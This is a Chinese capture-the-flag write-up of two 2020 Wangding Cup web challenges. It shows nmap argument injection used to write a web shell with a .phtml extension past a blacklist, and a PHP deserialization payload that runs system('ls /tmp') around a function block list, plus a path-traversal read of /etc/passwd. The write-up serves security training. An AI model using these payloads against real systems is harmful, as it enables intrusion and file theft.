2020网鼎杯朱雀组WEB——NMAP&PHPWEB

NMAP

考察的是比较老的知识点了,在BUU出现过的题目,nmap命令行参数注入

详细文章:

https://blog.csdn.net/qq_26406447/article/details/100711933

访问题目,发现我们可以输入url,经过nmap扫描后会返回出结果,这里引入nmap命令中的一个参数

2020网鼎杯朱雀组WEB——NMAP&PHPWEB_第1张图片

-oG #可以实现将命令和结果写到文件

源码大概的构造:

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

我们可以通过这种思路,拼接单引号,达到控制参数的目的,从而将我们构造的shell写入文件中

直接使用BUU题目中的payload进行测试

'  -oG hack.php '

2020网鼎杯朱雀组WEB——NMAP&PHPWEB_第2张图片

提示我们Hacker,应该存在黑名单,fuzz发现,php被过滤了,我们再次构造一下代码

'  -oG pd.phtml '

这里使用“=”绕过文件中的php字符,使用“phtml”绕过对“php”文件后缀的检测,再次输入

2020网鼎杯朱雀组WEB——NMAP&PHPWEB_第3张图片

2020网鼎杯朱雀组WEB——NMAP&PHPWEB_第4张图片

没有提示其他黑名单信息,尝试访问我们构造的页面pd.phtml,构造shell

2020网鼎杯朱雀组WEB——NMAP&PHPWEB_第5张图片

成功执行代码命令,获取flag

2020网鼎杯朱雀组WEB——NMAP&PHPWEB_第6张图片

PHPWEB

进入题目,发现右上角有时间显示,看一下POST数据包

2020网鼎杯朱雀组WEB——NMAP&PHPWEB_第7张图片

发现传输了两个参数,抓包看一下

image.png-12.1kB

我们发现func参数调用了函数date(),p参数调用了函数date中填写的时间格式,我们尝试构造一下,查看能否代码执行,首先尝试读取index.php的文件

readfile("index.php");

我们构造如下语句

func=readfile&p=index.php

发现成功读取源码

2020网鼎杯朱雀组WEB——NMAP&PHPWEB_第8张图片


$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

审计一下代码,发现过滤了很多函数,但是不影响我们读取文件,同时我们发现,存在魔法函数,我们也可以通过构造反序列化代码,来达到绕过黑名单,执行system等函数的目的,尝试目录穿越读取文件

image.png-15.3kB

发现可以直接读取/etc/passwd下文件,但是在读取根目录下flag时,无法读出,猜测flag存在其他目录,或者flag非正常名称,我们需要构造系统命令进行目录查看,这是我们可以构造反序列化代码,在搜索tmp目录下是发现flag文件

payload:

class Test {
    public $p = "ls /tmp";
    public $func = "system";
}
$c=new Test();
$d=serialize($c);
echo $d;
O:4:"Test":2:{s:1:"p";s:7:"ls /tmp";s:4:"func";s:6:"system";}

构造传输代码:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:7:"ls /tmp";s:4:"func";s:6:"system";}

即可发现目录下flag文件

2020网鼎杯朱雀组WEB——NMAP&PHPWEB_第9张图片

使用readfile读取文件,即可获取flag

2020网鼎杯朱雀组WEB——NMAP&PHPWEB_第10张图片


你可能感兴趣的:(信息安全,php,shell)